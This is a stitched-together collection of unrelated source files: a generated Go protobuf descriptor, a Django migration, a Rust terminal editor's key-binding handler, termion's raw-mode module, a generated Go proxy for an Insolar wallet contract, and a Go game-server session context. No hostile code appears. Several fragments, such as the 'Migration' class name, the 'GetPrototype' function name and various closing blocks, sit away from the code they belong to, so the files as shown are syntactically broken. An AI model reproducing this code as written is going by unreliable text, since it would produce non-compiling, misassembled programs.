file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescOnce sync.Once file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescData = file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDesc ) func file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescGZIP() []byte { file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescOnce.Do(func() { file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescData = protoimpl.X.CompressGZIP(file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescData) }) return file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescData } var file_google_actions_sdk_v2_conversation_prompt_simple_proto_msgTypes = make([]protoimpl.MessageInfo, 1) var file_google_actions_sdk_v2_conversation_prompt_simple_proto_goTypes = []interface{}{ (*Simple)(nil), // 0: google.actions.sdk.v2.conversation.Simple } var file_google_actions_sdk_v2_conversation_prompt_simple_proto_depIdxs = []int32{ 0, // [0:0] is the sub-list for method output_type 0, // [0:0] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name } func init() { file_google_actions_sdk_v2_conversation_prompt_simple_proto_init() } func file_google_actions_sdk_v2_conversation_prompt_simple_proto_init() { if File_google_actions_sdk_v2_conversation_prompt_simple_proto != nil
if !protoimpl.UnsafeEnabled { file_google_actions_sdk_v2_conversation_prompt_simple_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Simple); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDesc, NumEnums: 0, NumMessages: 1, NumExtensions: 0, NumServices: 0, }, GoTypes: file_google_actions_sdk_v2_conversation_prompt_simple_proto_goTypes, DependencyIndexes: file_google_actions_sdk_v2_conversation_prompt_simple_proto_depIdxs, MessageInfos: file_google_actions_sdk_v2_conversation_prompt_simple_proto_msgTypes, }.Build() File_google_actions_sdk_v2_conversation_prompt_simple_proto = out.File file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDesc = nil file_google_actions_sdk_v2_conversation_prompt_simple_proto_goTypes = nil file_google_actions_sdk_v2_conversation_prompt_simple_proto_depIdxs = nil }
{ return }
0008_auto_20210426_0828.py
# Generated by Django 3.1.7 on 2021-04-26 08:28 import uuid from django.db import migrations from django.db import models class
(migrations.Migration): dependencies = [ ("core", "0007_art_thumb_render_squashed_0008_art_uuid"), ] operations = [ migrations.AlterField( model_name="art", name="thumb_render", field=models.ImageField( default="/home/honno/gdrive/GitHub/ascii-world/core/static/core/thumb.png", upload_to="thumbs", ), ), migrations.AlterField( model_name="art", name="uuid", field=models.UUIDField(default=uuid.uuid4, unique=True), ), ]
Migration
handle.rs
// use std::io::{stdout, Write}; use crossterm; use super::*; use super::keybindings::keys; impl Lino { pub(crate) fn initiate_input_event_loop(&mut self, syntect_config: &mut SyntectConfig) { loop { if self.rendering.is_rendering { continue; } self.render(syntect_config); // let previous_cursor = self.cursor.clone(); // `read()` blocks until an `Event` is available let event = crossterm::event::read(); if event.is_err() { self.panic_gracefully(&Error::err4()); } match event.unwrap() { crossterm::event::Event::Key(key_event) => { self.handle_key_event(&key_event); }, crossterm::event::Event::Mouse(_) => (), crossterm::event::Event::Resize(_, _) => { self.update_terminal_size();
} } pub(crate) fn handle_key_event(&mut self, event: &crossterm::event::KeyEvent) { let mut key_binding = format!(""); self.highlighting.start_row = self.cursor.row; match event.code { crossterm::event::KeyCode::Char(c) => { if event.modifiers == crossterm::event::KeyModifiers::SHIFT || event.modifiers == crossterm::event::KeyModifiers::NONE { self.input_char_buf = Some(c); key_binding = format!("{}", keys::CHAR_INPUT); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'w' || c == 'W') { key_binding = format!("{}+{}", keys::CTRL, 'w'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'q' || c == 'Q') { key_binding = format!("{}+{}", keys::CTRL, 'q'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 's' || c == 'S') { key_binding = format!("{}+{}", keys::CTRL, 's'); } else if event.modifiers == crossterm::event::KeyModifiers::ALT && (c == 's' || c == 'S') { key_binding = format!("{}+{}", keys::ALT, 's'); } else if event.modifiers == crossterm::event::KeyModifiers::ALT && (c == 'g' || c == 'G') { key_binding = format!("{}+{}", keys::ALT, 'g'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL | crossterm::event::KeyModifiers::SHIFT && (c == 's' || c == 'S') { key_binding = format!("{}+{}+{}", keys::CTRL, keys::SHIFT, 's'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'a' || c == 'A') { key_binding = format!("{}+{}", keys::CTRL, 'a'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'c' || c == 'C') { key_binding = format!("{}+{}", keys::CTRL, 'c'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'd' || c == 'D') { key_binding = format!("{}+{}", keys::CTRL, 'd'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'x' || c == 'X') { key_binding = format!("{}+{}", keys::CTRL, 'x'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'v' || c == 'V') { key_binding = format!("{}+{}", keys::CTRL, 'v'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'z' || c == 'Z') { key_binding = format!("{}+{}", keys::CTRL, 'z'); } else if event.modifiers == (crossterm::event::KeyModifiers::CONTROL | crossterm::event::KeyModifiers::SHIFT) && (c == 'z' || c == 'Z') { key_binding = format!("{}+{}", keys::CTRL, 'y'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'y' || c == 'Y') { key_binding = format!("{}+{}", keys::CTRL, 'y'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'f' || c == 'F') { key_binding = format!("{}+{}", keys::CTRL, 'f'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'r' || c == 'R') { key_binding = format!("{}+{}", keys::CTRL, 'r'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'n' || c == 'N') { key_binding = format!("{}+{}", keys::CTRL, 'n'); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL && (c == 'p' || c == 'P') { key_binding = format!("{}+{}", keys::CTRL, 'p'); } else if event.modifiers == crossterm::event::KeyModifiers::ALT && c == ']' { key_binding = format!("{}+{}", keys::ALT, ']'); } else if event.modifiers == crossterm::event::KeyModifiers::ALT && c == '[' { key_binding = format!("{}+{}", keys::ALT, '['); } }, crossterm::event::KeyCode::Tab => { key_binding = format!("{}", keys::TAB); }, crossterm::event::KeyCode::BackTab => { key_binding = format!("{}+{}", keys::SHIFT, keys::TAB); }, crossterm::event::KeyCode::Enter => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::ENTER); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL { key_binding = format!("{}+{}", keys::CTRL, keys::ENTER); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::ENTER); } }, crossterm::event::KeyCode::Backspace => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::BACKSPACE); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL { key_binding = format!("{}+{}", keys::CTRL, keys::BACKSPACE); } else if event.modifiers == crossterm::event::KeyModifiers::ALT { key_binding = format!("{}+{}", keys::ALT, keys::BACKSPACE); } }, crossterm::event::KeyCode::Delete => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::DELETE); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL { key_binding = format!("{}+{}", keys::CTRL, keys::DELETE); } else if event.modifiers == crossterm::event::KeyModifiers::ALT { key_binding = format!("{}+{}", keys::ALT, keys::DELETE); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::DELETE); } }, crossterm::event::KeyCode::Home => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::HOME); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::HOME); } }, crossterm::event::KeyCode::End => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::END); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::END); } }, crossterm::event::KeyCode::PageUp => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::PAGE_UP); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::PAGE_UP); } }, crossterm::event::KeyCode::PageDown => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::PAGE_DOWN); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::PAGE_DOWN); } }, crossterm::event::KeyCode::Left => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::LEFT); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL { key_binding = format!("{}+{}", keys::CTRL, keys::LEFT); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::LEFT); } else if event.modifiers == crossterm::event::KeyModifiers::ALT { key_binding = format!("{}+{}", keys::ALT, keys::LEFT); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL | crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}+{}", keys::CTRL, keys::SHIFT, keys::LEFT); } }, crossterm::event::KeyCode::Right => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::RIGHT); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL { key_binding = format!("{}+{}", keys::CTRL, keys::RIGHT); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::RIGHT); } else if event.modifiers == crossterm::event::KeyModifiers::ALT { key_binding = format!("{}+{}", keys::ALT, keys::RIGHT); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL | crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}+{}", keys::CTRL, keys::SHIFT, keys::RIGHT); } }, crossterm::event::KeyCode::Up => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::UP); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL { key_binding = format!("{}+{}", keys::CTRL, keys::UP); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::UP); } else if event.modifiers == crossterm::event::KeyModifiers::ALT { key_binding = format!("{}+{}", keys::ALT, keys::UP); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL | crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}+{}", keys::CTRL, keys::SHIFT, keys::UP); } else if event.modifiers == crossterm::event::KeyModifiers::ALT | crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}+{}", keys::ALT, keys::SHIFT, keys::UP); } }, crossterm::event::KeyCode::Down => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::DOWN); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL { key_binding = format!("{}+{}", keys::CTRL, keys::DOWN); } else if event.modifiers == crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}", keys::SHIFT, keys::DOWN); } else if event.modifiers == crossterm::event::KeyModifiers::ALT { key_binding = format!("{}+{}", keys::ALT, keys::DOWN); } else if event.modifiers == crossterm::event::KeyModifiers::CONTROL | crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}+{}", keys::CTRL, keys::SHIFT, keys::DOWN); } else if event.modifiers == crossterm::event::KeyModifiers::ALT | crossterm::event::KeyModifiers::SHIFT { key_binding = format!("{}+{}+{}", keys::ALT, keys::SHIFT, keys::DOWN); } }, crossterm::event::KeyCode::Esc => { if event.modifiers == crossterm::event::KeyModifiers::NONE { key_binding = format!("{}", keys::ESC); } }, _ => () } let operation_to_perform = self.keybindings.get(&key_binding); if !operation_to_perform.is_none() { operation_to_perform.unwrap()(self); } self.set_file_unsaved_if_applicable(); self.highlighting.end_row = self.cursor.row; } }
}, } if self.should_exit { break; }
raw.rs
//! Managing raw mode. //! //! Raw mode is a particular state a TTY can have. It signifies that: //! //! 1. No line buffering (the input is given byte-by-byte). //! 2. The input is not written out, instead it has to be done manually by the programmer. //! 3. The output is not canonicalized (for example, `\n` means "go one line down", not "line //! break"). //! //! It is essential to design terminal programs. //! //! # Example //! //! ```rust,no_run //! use termion::raw::IntoRawMode; //! use std::io::{Write, stdout}; //! //! fn main() { //! let mut stdout = stdout().into_raw_mode().unwrap(); //! //! write!(stdout, "Hey there.").unwrap(); //! } //! ``` use std::io::{self, Write}; use std::ops; use sys::Termios; use sys::attr::{get_terminal_attr, raw_terminal_attr, set_terminal_attr}; /// The timeout of an escape code control sequence, in milliseconds. pub const CONTROL_SEQUENCE_TIMEOUT: u64 = 100; /// A terminal restorer, which keeps the previous state of the terminal, and restores it, when /// dropped. /// /// Restoring will entirely bring back the old TTY state. pub struct RawTerminal<W: Write> {
output: W, } impl<W: Write> Drop for RawTerminal<W> { fn drop(&mut self) { set_terminal_attr(&self.prev_ios).unwrap(); } } impl<W: Write> ops::Deref for RawTerminal<W> { type Target = W; fn deref(&self) -> &W { &self.output } } impl<W: Write> ops::DerefMut for RawTerminal<W> { fn deref_mut(&mut self) -> &mut W { &mut self.output } } impl<W: Write> Write for RawTerminal<W> { fn write(&mut self, buf: &[u8]) -> io::Result<usize> { self.output.write(buf) } fn flush(&mut self) -> io::Result<()> { self.output.flush() } } /// Types which can be converted into "raw mode". /// /// # Why is this type defined on writers and not readers? /// /// TTYs has their state controlled by the writer, not the reader. You use the writer to clear the /// screen, move the cursor and so on, so naturally you use the writer to change the mode as well. pub trait IntoRawMode: Write + Sized { /// Switch to raw mode. /// /// Raw mode means that stdin won't be printed (it will instead have to be written manually by /// the program). Furthermore, the input isn't canonicalised or buffered (that is, you can /// read from stdin one byte of a time). The output is neither modified in any way. fn into_raw_mode(self) -> io::Result<RawTerminal<Self>>; } impl<W: Write> IntoRawMode for W { fn into_raw_mode(self) -> io::Result<RawTerminal<W>> { let mut ios = get_terminal_attr()?; let prev_ios = ios; raw_terminal_attr(&mut ios); set_terminal_attr(&ios)?; Ok(RawTerminal { prev_ios, output: self, }) } } impl<W: Write> RawTerminal<W> { /// Restore terminal state after having set raw mode pub fn suspend_raw_mode(&self) -> io::Result<()> { set_terminal_attr(&self.prev_ios)?; Ok(()) } /// Set terminal into raw mode pub fn activate_raw_mode(&self) -> io::Result<()> { let mut ios = get_terminal_attr()?; raw_terminal_attr(&mut ios); set_terminal_attr(&ios)?; Ok(()) } } #[cfg(test)] mod test { use super::*; use std::io::{Write, stdout}; #[test] fn test_into_raw_mode() { let mut out = stdout().into_raw_mode().unwrap(); out.write_all(b"this is a test, muahhahahah\r\n").unwrap(); drop(out); } }
prev_ios: Termios,
wallet.go
// // Copyright 2019 Insolar Technologies GmbH // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // Code generated by insgocc. DO NOT EDIT. // source template in logicrunner/preprocessor/templates package wallet import ( "github.com/insolar/insolar/insolar" "github.com/insolar/insolar/logicrunner/builtin/foundation" "github.com/insolar/insolar/logicrunner/common" ) // PrototypeReference to prototype of this contract // error checking hides in generator var PrototypeReference, _ = insolar.NewObjectReferenceFromString("insolar:0AAABAgfNy9VkTWQBamlz1DPbynRrVLzRtsRo-X2YI6U") // Wallet holds proxy type type Wallet struct { Reference insolar.Reference Prototype insolar.Reference Code insolar.Reference } // ContractConstructorHolder holds logic with object construction type ContractConstructorHolder struct { constructorName string argsSerialized []byte } // AsChild saves object as child func (r *ContractConstructorHolder) AsChild(objRef insolar.Reference) (*Wallet, error) { ret, err := common.CurrentProxyCtx.SaveAsChild(objRef, *PrototypeReference, r.constructorName, r.argsSerialized) if err != nil { return nil, err } var ref insolar.Reference var constructorError *foundation.Error resultContainer := foundation.Result{ Returns: []interface{}{&ref, &constructorError}, } err = common.CurrentProxyCtx.Deserialize(ret, &resultContainer) if err != nil { return nil, err } if resultContainer.Error != nil { return nil, resultContainer.Error } if constructorError != nil { return nil, constructorError } return &Wallet{Reference: ref}, nil } // GetObject returns proxy object func GetObject(ref insolar.Reference) *Wallet { if !ref.IsObjectReference() { return nil } return &Wallet{Reference: ref} } // GetPrototype returns reference to the prototype func
() insolar.Reference { return *PrototypeReference } // New is constructor func New(accountReference insolar.Reference) *ContractConstructorHolder { var args [1]interface{} args[0] = accountReference var argsSerialized []byte err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { panic(err) } return &ContractConstructorHolder{constructorName: "New", argsSerialized: argsSerialized} } // GetReference returns reference of the object func (r *Wallet) GetReference() insolar.Reference { return r.Reference } // GetPrototype returns reference to the code func (r *Wallet) GetPrototype() (insolar.Reference, error) { if r.Prototype.IsEmpty() { ret := [2]interface{}{} var ret0 insolar.Reference ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "GetPrototype", make([]byte, 0), *PrototypeReference) if err != nil { return ret0, err } err = common.CurrentProxyCtx.Deserialize(res, &ret) if err != nil { return ret0, err } if ret1 != nil { return ret0, ret1 } r.Prototype = ret0 } return r.Prototype, nil } // GetCode returns reference to the code func (r *Wallet) GetCode() (insolar.Reference, error) { if r.Code.IsEmpty() { ret := [2]interface{}{} var ret0 insolar.Reference ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "GetCode", make([]byte, 0), *PrototypeReference) if err != nil { return ret0, err } err = common.CurrentProxyCtx.Deserialize(res, &ret) if err != nil { return ret0, err } if ret1 != nil { return ret0, ret1 } r.Code = ret0 } return r.Code, nil } // GetAccount is proxy generated method func (r *Wallet) GetAccount(assetName string) (*insolar.Reference, error) { var args [1]interface{} args[0] = assetName var argsSerialized []byte ret := make([]interface{}, 2) var ret0 *insolar.Reference ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "GetAccount", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // GetAccountAsImmutable is proxy generated method func (r *Wallet) GetAccountAsImmutable(assetName string) (*insolar.Reference, error) { var args [1]interface{} args[0] = assetName var argsSerialized []byte ret := make([]interface{}, 2) var ret0 *insolar.Reference ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, true, false, "GetAccount", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // Transfer is proxy generated method func (r *Wallet) Transfer(rootDomainRef insolar.Reference, assetName string, amountStr string, toMember *insolar.Reference, fromMember insolar.Reference, request insolar.Reference) (interface{}, error) { var args [6]interface{} args[0] = rootDomainRef args[1] = assetName args[2] = amountStr args[3] = toMember args[4] = fromMember args[5] = request var argsSerialized []byte ret := make([]interface{}, 2) var ret0 interface{} ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "Transfer", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // TransferAsImmutable is proxy generated method func (r *Wallet) TransferAsImmutable(rootDomainRef insolar.Reference, assetName string, amountStr string, toMember *insolar.Reference, fromMember insolar.Reference, request insolar.Reference) (interface{}, error) { var args [6]interface{} args[0] = rootDomainRef args[1] = assetName args[2] = amountStr args[3] = toMember args[4] = fromMember args[5] = request var argsSerialized []byte ret := make([]interface{}, 2) var ret0 interface{} ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, true, false, "Transfer", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // GetBalance is proxy generated method func (r *Wallet) GetBalanceAsMutable(assetName string) (string, error) { var args [1]interface{} args[0] = assetName var argsSerialized []byte ret := make([]interface{}, 2) var ret0 string ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "GetBalance", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // GetBalanceAsImmutable is proxy generated method func (r *Wallet) GetBalance(assetName string) (string, error) { var args [1]interface{} args[0] = assetName var argsSerialized []byte ret := make([]interface{}, 2) var ret0 string ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, true, false, "GetBalance", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // AddDeposit is proxy generated method func (r *Wallet) AddDeposit(txId string, deposit insolar.Reference) error { var args [2]interface{} args[0] = txId args[1] = deposit var argsSerialized []byte ret := make([]interface{}, 1) var ret0 *foundation.Error ret[0] = &ret0 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "AddDeposit", argsSerialized, *PrototypeReference) if err != nil { return err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return err } if resultContainer.Error != nil { err = resultContainer.Error return err } if ret0 != nil { return ret0 } return nil } // AddDepositAsImmutable is proxy generated method func (r *Wallet) AddDepositAsImmutable(txId string, deposit insolar.Reference) error { var args [2]interface{} args[0] = txId args[1] = deposit var argsSerialized []byte ret := make([]interface{}, 1) var ret0 *foundation.Error ret[0] = &ret0 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, true, false, "AddDeposit", argsSerialized, *PrototypeReference) if err != nil { return err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return err } if resultContainer.Error != nil { err = resultContainer.Error return err } if ret0 != nil { return ret0 } return nil } // GetDeposits is proxy generated method func (r *Wallet) GetDepositsAsMutable() ([]interface{}, error) { var args [0]interface{} var argsSerialized []byte ret := make([]interface{}, 2) var ret0 []interface{} ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "GetDeposits", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // GetDepositsAsImmutable is proxy generated method func (r *Wallet) GetDeposits() ([]interface{}, error) { var args [0]interface{} var argsSerialized []byte ret := make([]interface{}, 2) var ret0 []interface{} ret[0] = &ret0 var ret1 *foundation.Error ret[1] = &ret1 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, true, false, "GetDeposits", argsSerialized, *PrototypeReference) if err != nil { return ret0, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, err } if ret1 != nil { return ret0, ret1 } return ret0, nil } // FindDeposit is proxy generated method func (r *Wallet) FindDepositAsMutable(transactionHash string) (bool, *insolar.Reference, error) { var args [1]interface{} args[0] = transactionHash var argsSerialized []byte ret := make([]interface{}, 3) var ret0 bool ret[0] = &ret0 var ret1 *insolar.Reference ret[1] = &ret1 var ret2 *foundation.Error ret[2] = &ret2 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, ret1, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, false, false, "FindDeposit", argsSerialized, *PrototypeReference) if err != nil { return ret0, ret1, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, ret1, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, ret1, err } if ret2 != nil { return ret0, ret1, ret2 } return ret0, ret1, nil } // FindDepositAsImmutable is proxy generated method func (r *Wallet) FindDeposit(transactionHash string) (bool, *insolar.Reference, error) { var args [1]interface{} args[0] = transactionHash var argsSerialized []byte ret := make([]interface{}, 3) var ret0 bool ret[0] = &ret0 var ret1 *insolar.Reference ret[1] = &ret1 var ret2 *foundation.Error ret[2] = &ret2 err := common.CurrentProxyCtx.Serialize(args, &argsSerialized) if err != nil { return ret0, ret1, err } res, err := common.CurrentProxyCtx.RouteCall(r.Reference, true, false, "FindDeposit", argsSerialized, *PrototypeReference) if err != nil { return ret0, ret1, err } resultContainer := foundation.Result{ Returns: ret, } err = common.CurrentProxyCtx.Deserialize(res, &resultContainer) if err != nil { return ret0, ret1, err } if resultContainer.Error != nil { err = resultContainer.Error return ret0, ret1, err } if ret2 != nil { return ret0, ret1, ret2 } return ret0, ret1, nil }
GetPrototype
servercontext.go
package main import "sync" import "time" import "fmt" import "mudkip/lib" type ServerContext struct { config *Config lock *sync.RWMutex sessions map[string]*Session worlds []*lib.World } func NewServerContext(config *Config) *ServerContext
func (this *ServerContext) Worlds() []*lib.World { return this.worlds } func (this *ServerContext) Config() *Config { return this.config } func (this *ServerContext) Sessions() []*Session { this.lock.RLock() defer this.lock.RUnlock() var idx int list := make([]*Session, len(this.sessions)) for _, v := range this.sessions { list[idx] = v idx++ } return list } func (this *ServerContext) CreateSession(addr string) *Session { this.lock.Lock() defer this.lock.Unlock() id := fmt.Sprintf("%s%d", addr, time.Nanoseconds()) this.sessions[id] = NewSession(id) return this.sessions[id] } func (this *ServerContext) GetSession(id string) *Session { this.lock.RLock() defer this.lock.RUnlock() if session, ok := this.sessions[id]; ok { return session } return nil } func (this *ServerContext) AddWorld(v *lib.World) { this.lock.Lock() defer this.lock.Unlock() sz := len(this.worlds) if sz >= cap(this.worlds) { cp := make([]*lib.World, sz, sz+32) copy(cp, this.worlds) this.worlds = cp } this.worlds = this.worlds[0 : sz+1] this.worlds[sz] = v }
{ c := new(ServerContext) c.config = config c.lock = new(sync.RWMutex) c.sessions = make(map[string]*Session) c.worlds = make([]*lib.World, 0, 32) return c }